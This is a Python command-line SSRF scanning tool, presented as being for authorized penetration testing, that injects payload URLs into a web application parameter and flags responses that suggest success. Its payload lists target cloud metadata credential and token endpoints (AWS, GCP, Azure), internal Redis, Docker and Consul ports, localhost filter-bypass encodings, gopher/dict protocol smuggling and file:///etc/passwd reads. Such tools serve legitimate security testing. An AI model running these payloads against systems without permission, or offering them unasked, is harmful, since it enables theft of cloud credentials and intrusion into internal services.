#!/usr/bin/env python3 """Blind SSRF detection agent. Tests web application endpoints for Server-Side Request Forgery (SSRF) vulnerabilities by injecting payloads that trigger out-of-band callbacks. Uses configurable payload lists targeting internal services, cloud metadata endpoints, and external callback receivers. AUTHORIZED TESTING ONLY: Only use against targets you have explicit written permission to test. Unauthorized SSRF testing is illegal. """ import argparse import json import os import sys import time import urllib.parse from datetime import datetime, timezone try: import requests except ImportError: print("[!] 'requests' library required: pip install requests", file=sys.stderr) sys.exit(1) SSRF_PAYLOADS = { "aws_metadata": [ "http://169.254.169.254/latest/meta-data/", "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "http://169.254.169.254/latest/user-data", ], "gcp_metadata": [ "http://metadata.google.internal/computeMetadata/v1/", "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token", ], "azure_metadata": [ "http://169.254.169.254/metadata/instance?api-version=2021-02-01", "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01", ], "internal_services": [ "http://127.0.0.1:80/", "http://127.0.0.1:8080/", "http://127.0.0.1:443/", "http://127.0.0.1:3306/", "http://127.0.0.1:6379/", "http://127.0.0.1:9200/", "http://localhost:8500/v1/agent/self", "http://127.0.0.1:2375/containers/json", ], "bypass_filters": [ "http://0x7f000001/", "http://0177.0.0.1/", "http://[::1]/", "http://127.1/", "http://127.0.0.1.nip.io/", "http://2130706433/", ], "protocol_smuggling": [ "gopher://127.0.0.1:6379/_INFO", "dict://127.0.0.1:6379/INFO", "file:///etc/passwd", "file:///etc/hosts", ], } def test_ssrf_parameter(target_url, param_name, payload, method="GET", headers=None, cookies=None, callback_url=None): """Test a single SSRF payload against a parameter.""" test_payload = callback_url or payload if method.upper() == "GET": parsed = urllib.parse.urlparse(target_url) params = urllib.parse.parse_qs(parsed.query) params[param_name] = [test_payload] new_query = urllib.parse.urlencode(params, doseq=True) test_url = urllib.parse.urlunparse(parsed._replace(query=new_query)) try: resp = requests.get(test_url, headers=headers, cookies=cookies, timeout=10, allow_redirects=False) except requests.RequestException as e: return {"payload": payload, "error": str(e), "vulnerable": False} else: data = {param_name: test_payload} try: resp = requests.post(target_url, data=data, headers=headers, cookies=cookies, timeout=10, allow_redirects=False) except requests.RequestException as e: return {"payload": payload, "error": str(e), "vulnerable": False} indicators = analyze_response(resp, payload) return { "payload": payload, "status_code": resp.status_code, "response_length": len(resp.content), "response_time": resp.elapsed.total_seconds(), "indicators": indicators, "vulnerable": len(indicators) > 0, } def analyze_response(resp, payload): """Analyze HTTP response for SSRF success indicators.""" indicators = [] body = resp.text.lower() # Cloud metadata indicators if "169.254.169.254" in payload: if any(kw in body for kw in ["ami-id", "instance-id", "security-credentials", "access-key", "computemetadata", "subscriptionid"]): indicators.append("Cloud metadata content detected in response") # Internal service indicators if "127.0.0.1" in payload or "localhost" in payload: if resp.status_code == 200 and len(resp.content) > 0: if any(kw in body for kw in ["redis_version", "elasticsearch", "docker", "consul", "apache", "nginx", "server:"]): indicators.append("Internal service response detected") # File content indicators if "file://" in payload: if "root:" in body or "localhost" in body: indicators.append("Local file content detected in response") # Time-based detection if resp.elapsed.total_seconds() > 5: indicators.append(f"Slow response ({resp.elapsed.total_seconds():.1f}s) - possible network timeout to internal host") # Differential response analysis if resp.status_code in (200, 301, 302) and len(resp.content) > 100: indicators.append(f"Non-error response with content (status: {resp.status_code}, size: {len(resp.content)})") return indicators def run_ssrf_scan(target_url, param_name, method="GET", categories=None, headers=None, cookies=None, callback_url=None): """Run SSRF tests across payload categories.""" if categories is None: categories = list(SSRF_PAYLOADS.keys()) results = [] total = sum(len(SSRF_PAYLOADS.get(c, [])) for c in categories) print(f"[*] Testing {total} SSRF payloads across {len(categories)} categories") print(f"[*] Target: {target_url} (param: {param_name}, method: {method})") for category in categories: payloads = SSRF_PAYLOADS.get(category, []) print(f"\n [{category}] Testing {len(payloads)} payloads...") for payload in payloads: result = test_ssrf_parameter( target_url, param_name, payload, method, headers, cookies, callback_url ) result["category"] = category results.append(result) if result["vulnerable"]: print(f" [VULN] {payload}") for ind in result["indicators"]: print(f" -> {ind}") time.sleep(0.5) # Rate limiting return results def format_summary(results, target_url): """Print scan summary.""" vulnerable = [r for r in results if r.get("vulnerable")] print(f"\n{'='*60}") print(f" SSRF Scan Report") print(f"{'='*60}") print(f" Target : {target_url}") print(f" Payloads : {len(results)}") print(f" Vulnerable : {len(vulnerable)}") if vulnerable: print(f"\n Confirmed/Suspected Vulnerabilities:") for v in vulnerable: print(f" [{v['category']:20s}] {v['payload']}") for ind in v.get("indicators", []): print(f" -> {ind}") by_category = {} for r in vulnerable: by_category.setdefault(r["category"], []).append(r) if by_category: print(f"\n Findings by Category:") for cat, items in by_category.items(): print(f" {cat:25s}: {len(items)} finding(s)") def main(): parser = argparse.ArgumentParser( description="Blind SSRF detection agent (authorized testing only)" ) parser.add_argument("--target", required=True, help="Target URL with parameter to test") parser.add_argument("--param", required=True, help="Parameter name to inject SSRF payloads into") parser.add_argument("--method", choices=["GET", "POST"], default="GET") parser.add_argument("--categories", nargs="+", choices=list(SSRF_PAYLOADS.keys()), help="SSRF payload categories to test") parser.add_argument("--callback", help="Out-of-band callback URL (e.g., Burp Collaborator)") parser.add_argument("--header", nargs="+", help="Custom headers (key:value)") parser.add_argument("--cookie", help="Cookie string") parser.add_argument("--output", "-o", help="Output JSON report path") parser.add_argument("--verbose", "-v", action="store_true") args = parser.parse_args() headers = {} if args.header: for h in args.header: k, v = h.split(":", 1) headers[k.strip()] = v.strip() cookies = {} if args.cookie: for pair in args.cookie.split(";"): if "=" in pair: k, v = pair.strip().split("=", 1) cookies[k] = v results = run_ssrf_scan( args.target, args.param, args.method, args.categories, headers or None, cookies or None, args.callback ) format_summary(results, args.target) vulnerable = [r for r in results if r.get("vulnerable")] report = { "timestamp": datetime.now(timezone.utc).isoformat(), "tool": "SSRF Scanner", "target": args.target, "parameter": args.param, "total_payloads": len(results), "vulnerable_count": len(vulnerable), "findings": vulnerable, "all_results": results if args.verbose else [], "risk_level": ( "CRITICAL" if any(r["category"] in ("aws_metadata", "gcp_metadata", "azure_metadata") for r in vulnerable) else "HIGH" if vulnerable else "LOW" ), } if args.output: with open(args.output, "w") as f: json.dump(report, f, indent=2) print(f"\n[+] Report saved to {args.output}") elif args.verbose: print(json.dumps(report, indent=2)) if __name__ == "__main__": main()